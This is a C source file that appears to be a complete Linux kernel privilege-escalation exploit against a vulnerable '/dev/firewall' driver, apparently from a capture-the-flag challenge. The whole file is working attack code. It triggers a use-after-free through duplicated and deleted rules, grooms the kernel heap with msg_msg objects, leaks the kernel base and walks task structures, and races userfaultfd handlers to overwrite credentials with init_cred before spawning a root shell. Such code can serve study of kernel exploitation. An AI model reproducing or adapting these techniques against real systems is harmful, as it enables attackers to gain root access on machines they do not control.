1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
|
#include "./exploit.h"
#include <stdint.h>
#define ADD_RULE 0x1337babe
#define DELETE_RULE 0xdeadbabe
#define EDIT_RULE 0x1337beef
#define SHOW_RULE 0xdeadbeef
#define DUP_RULE 0xbaad5aad
#define INBOUND 0
#define OUTBOUND 1
#define SKIP -1
#define DESC_MAX 0x800
typedef struct {
char iface[16];
char name[16];
char ip[16];
char netmask[16];
uint8_t idx;
uint8_t type;
uint16_t proto;
uint16_t port;
uint8_t action;
} user_rule_t;
typedef struct {
char iface[16];
char name[16];
uint32_t ip;
uint32_t netmask;
uint16_t proto;
uint16_t port;
uint8_t action;
uint8_t is_duplicated;
} rule_t;
struct list_head {
struct list_head *next, *prev;
};
struct msg_msg {
struct list_head m_list;
long m_type;
size_t m_ts; /* message text size */
void *next; /* struct msg_msgseg *next; */
void *security; //无SELinux,这里为NULL
/* the actual message follows immediately */
};
typedef struct {
long mtype;
char mtext[1];
} msg;
int global_fd;
uint64_t kernbase, init_ipc_ns, init_task, init_cred;
uint64_t task_struct, dynamic_kobj_ktype, sysfs_bin_kfops_ro;
uint64_t next, prev;
void *target1, *target2;
int qid[4];
char msg_buf[0x2000];
uint64_t u1;
uint64_t relased = 0;
void ip_value_to_str(int ip, char *result, int size) {
inet_ntop(AF_INET, (void *)&ip, result, size);
}
void add_rule(user_rule_t *rule) {
int ret = 0;
ret = ioctl(global_fd, ADD_RULE, rule);
if (ret < 0) {
die("[!] Failed to add rule");
}
}
void dup_rule(user_rule_t *rule) {
int ret = 0;
ret = ioctl(global_fd, DUP_RULE, rule);
if (ret < 0) {
die("[!] Failed to dup rule");
}
}
void del_rule(user_rule_t *rule) {
int ret = 0;
ret = ioctl(global_fd, DELETE_RULE, rule);
if (ret < 0) {
die("[!] Failed to del rule");
}
}
void send_msg(int id, void *buf, size_t size, int flags) {
if (msgsnd(id, buf, size, flags) < 0) {
die("[!] Failed to send msg");
}
printf("[+] Send message: 0x%lx\n", size);
}
static void fault_handler_2(void *arg) {
puts("[+] Enter userpagefault 2");
static struct uffd_msg uf_msg;
uint64_t uffd = (uint64_t)arg;
struct pollfd pollfd;
int nready;
pollfd.fd = uffd;
pollfd.events = POLLIN;
puts("[+] user2 polling...");
while ((nready = poll(&pollfd, 1, -1)) > 0) {
if (pollfd.revents & POLLERR || pollfd.revents & POLLHUP) {
die("[!] poll failed\n");
}
if ((read(uffd, &uf_msg, sizeof(uf_msg))) == 0) {
die("[!] read uffd msg failed\n");
}
if (uf_msg.event != UFFD_EVENT_PAGEFAULT) {
die("[!] unexpected pagefault\n");
}
printf("[+] user 2 page fault: %p\n", (void *)uf_msg.arg.pagefault.address);
printf("[*] Release uffd 1\n");
struct uffdio_copy uc;
bzero(&uc, sizeof(struct uffdio_copy));
// use uffdio_copy to write request's message
uc.src = (unsigned long)msg_buf;
uc.len = PAGE_SIZE;
uc.dst = (unsigned long)0x1338000 & ~(PAGE_SIZE - 1);
uc.mode = 0;
uc.copy = 0;
if (ioctl(u1, UFFDIO_COPY, &uc) == -1) {
die("[!] Failed to uffdio_copy");
}
char *payload = calloc(1, 0x2000);
*((uint64_t *)(payload + 0xfd0 - 8)) = init_cred;
*((uint64_t *)(payload + 0xfd0)) = init_cred;
*((uint64_t *)(payload + 0xfd0 + 8)) = init_cred;
uffd_copy(uffd, payload, &uf_msg);
break;
}
puts("[+] exit userpagefault 2 fault_handler!");
}
static void fault_handler_1(void *arg) {
puts("[+] Enter userpagefault 1");
static struct uffd_msg uf_msg;
uint64_t uffd = (uint64_t)arg;
struct pollfd pollfd;
int nready;
pollfd.fd = uffd;
pollfd.events = POLLIN;
u1 = uffd;
puts("[+] polling...");
while ((nready = poll(&pollfd, 1, -1)) > 0) {
if (pollfd.revents & POLLERR || pollfd.revents & POLLHUP) {
die("[!] poll failed\n");
}
if ((read(uffd, &uf_msg, sizeof(uf_msg))) == 0) {
die("[!] read uffd msg failed\n");
}
if (uf_msg.event != UFFD_EVENT_PAGEFAULT) {
die("[!] unexpected pagefault\n");
}
printf("[+] page fault: %p\n", (void *)uf_msg.arg.pagefault.address);
printf("[*] Modified msg0 next to msg2's segment\n");
user_rule_t *rule = calloc(1, sizeof(user_rule_t));
((struct msg_msg *)rule)->m_list.next = (void *)prev;
((struct msg_msg *)rule)->m_list.prev = (void *)prev;
((struct msg_msg *)rule)->m_ts = 0x10;
((struct msg_msg *)rule)->m_type = 1;
rule->idx = 0;
rule->type = OUTBOUND;
ip_value_to_str(next, rule->ip, 16);
ip_value_to_str((next) >> 32, rule->netmask, 16);
ioctl(global_fd, EDIT_RULE, rule);
char buf[0x10];
msgrcv(qid[0], buf, 0x10, 0, IPC_NOWAIT | MSG_NOERROR);
printf("[*] Prepare fake msg struct\n");
bzero(msg_buf, sizeof(msg_buf));
((struct msg_msg *)(msg_buf + 0xfd0 - 0x10))->next =
(void *)(task_struct + 0x530);
((struct msg_msg *)(msg_buf + 0xfd0 - 0x10))->m_ts = 0xff8;
((struct msg_msg *)(msg_buf + 0xfd0 - 0x10))->m_type = 1;
printf("[*] Now userfault 2\n");
((msg *)(target2 + PAGE_SIZE - 0x10))->mtype = 1;
send_msg(qid[3], target2 + PAGE_SIZE - 0x10, 0xff8, 0);
break;
}
puts("[+] exit userpagefault 1 fault_handler!");
relased = 1;
}
int main() {
user_rule_t *rule = calloc(1, sizeof(user_rule_t));
msg *message = (msg *)msg_buf;
int ret = 0;
global_fd = open("/dev/firewall", O_RDWR);
if (global_fd < 0) {
die("[!] Failed to open /dev/firewall");
}
qid[0] = msgget(IPC_PRIVATE, 0666 | IPC_CREAT);
if (qid[0] < 0) {
die("[!] Failed to msgget");
}
qid[1] = msgget(IPC_PRIVATE, 0666 | IPC_CREAT);
if (qid[1] < 0) {
die("[!] Failed to msgget");
}
printf("[+] qid[0] = %d, qid[1] = %d\n", qid[0], qid[1]);
printf("[*] UAF prepare...\n");
rule->idx = 0;
rule->type = INBOUND;
strcpy(rule->netmask, "255.255.255.255");
strcpy(rule->ip, "127.0.0.1");
add_rule(rule);
dup_rule(rule);
del_rule(rule);
bzero(msg_buf, 0x2000);
message->mtype = 1;
memset(message->mtext, 0x41, 0x10);
send_msg(qid[0], message, 0x40 - 0x30, 0);
memset(message->mtext, 0x42, 0x10);
send_msg(qid[1], message, 0x40 - 0x30, 0);
send_msg(qid[1], message, 0x1ff8 - 0x30, 0);
((struct msg_msg *)rule)->m_list.next = (void *)0xAAAAAAAA;
((struct msg_msg *)rule)->m_list.prev = (void *)0xBBBBBBBB;
((struct msg_msg *)rule)->m_ts = 0x2000;
((struct msg_msg *)rule)->m_type = 1;
rule->idx = 0;
rule->type = OUTBOUND;
strcpy(rule->ip, "000000000");
ioctl(global_fd, EDIT_RULE, rule);
void *dump = calloc(1, 0x2000);
printf("[+] dump:\t%p\n", dump);
ret = msgrcv(qid[0], dump, 0x2000, 0, IPC_NOWAIT | MSG_COPY | MSG_NOERROR);
if (ret < 0) {
die("[!] Failed to recv message");
}
int i = 0;
uint64_t val = 0;
for (i = 0; i < 0x2000 / 8; i++) {
val = ((uint64_t *)dump)[i];
if ((val & 0xffffffff) == 0x42424242) {
next = ((uint64_t *)dump)[i - 6];
prev = ((uint64_t *)dump)[i - 5];
// skip
i++;
}
if ((val & 0xffff) == 0x1600) {
dynamic_kobj_ktype = val;
}
if ((dynamic_kobj_ktype != 0) && (next != 0) && (prev != 0))
break;
}
if (((int64_t)next >= 0) || ((int64_t)prev >= 0)) {
printf("[!] Failed to get next and prev, try again\n");
goto done;
}
kernbase = dynamic_kobj_ktype - 0xc41600;
init_task = kernbase + 0xc124c0;
init_cred = kernbase + 0xc33060;
printf("[+] kernbase:\t0x%lx\n", kernbase);
printf("[+] dynamic_kobj_ktype:\t0x%lx\n", dynamic_kobj_ktype);
printf("[+] init_task:\t0x%lx\n", init_task);
printf("[+] init_cred:\t0x%lx\n", init_cred);
printf("[+} next:\t0x%lx\n", next);
printf("[+] prev:\t0x%lx\n", prev);
printf("[*] Task struct searching...\n");
pid_t pid = getpid();
printf("[+] self pid:\t%d\n", pid);
uint64_t cur = init_task;
((struct msg_msg *)rule)->m_ts = 0xfd0 + 0x200;
for (;;) {
pid_t cur_id = 0;
bzero(rule->ip, 16);
ip_value_to_str(cur + 0x290, rule->ip, 16);
ip_value_to_str((cur + 0x290) >> 32, rule->netmask, 16);
ioctl(global_fd, EDIT_RULE, rule);
bzero(dump, 0x1500);
ret = msgrcv(qid[0], dump, 0x1500, 0, IPC_NOWAIT | MSG_COPY | MSG_NOERROR);
if (ret < 0) {
die("[!] Failed to recv message");
}
// read pid
cur_id = *((uint32_t *)((uint64_t)dump + 0x10d8));
printf("[+] cur:\t0x%lx, pid:\t%d\n", cur, cur_id);
if (cur_id == pid) {
task_struct = cur;
break;
}
// next
cur = *((uint64_t *)((uint64_t)dump + 0xfe0)) - 0x298;
}
printf("[+] task_struct:\t0x%lx\n", task_struct);
printf("[*] Kernel heap fengshui\n");
printf("[*] Free qid#1 msg\n");
ret = msgrcv(qid[1], dump, 0x40 - 0x30, 0, IPC_NOWAIT | MSG_NOERROR);
if (ret < 0) {
die("[!] Failed to recv message");
}
ret = msgrcv(qid[1], dump, 0x1ff8 - 0x30, 0, IPC_NOWAIT | MSG_NOERROR);
if (ret < 0) {
die("[!] Failed to recv message");
}
printf("[*] Create qid#2 msg & userfaultfd\n");
target1 = mmap((void *)0x1337000, PAGE_SIZE * 3, PROT_READ | PROT_WRITE,
MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, 0, 0);
target2 = mmap((void *)0xdead000, PAGE_SIZE * 3, PROT_READ | PROT_WRITE,
MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, 0, 0);
RegisterUserfault(target1 + PAGE_SIZE, fault_handler_1);
RegisterUserfault(target2 + PAGE_SIZE, fault_handler_2);
qid[2] = msgget(IPC_PRIVATE, 0666 | IPC_CREAT);
if (qid[2] < 0) {
die("[!] Failed to msgget");
}
qid[3] = msgget(IPC_PRIVATE, 0666 | IPC_CREAT);
if (qid[2] < 0) {
die("[!] Failed to msgget");
}
((msg *)(target1 + PAGE_SIZE - 0x10))->mtype = 1;
send_msg(qid[2], target1 + PAGE_SIZE - 0x10, 0x1ff8 - 0x30, 0);
while (!relased) {
}
pop_shell();
done:
return 0;
}
|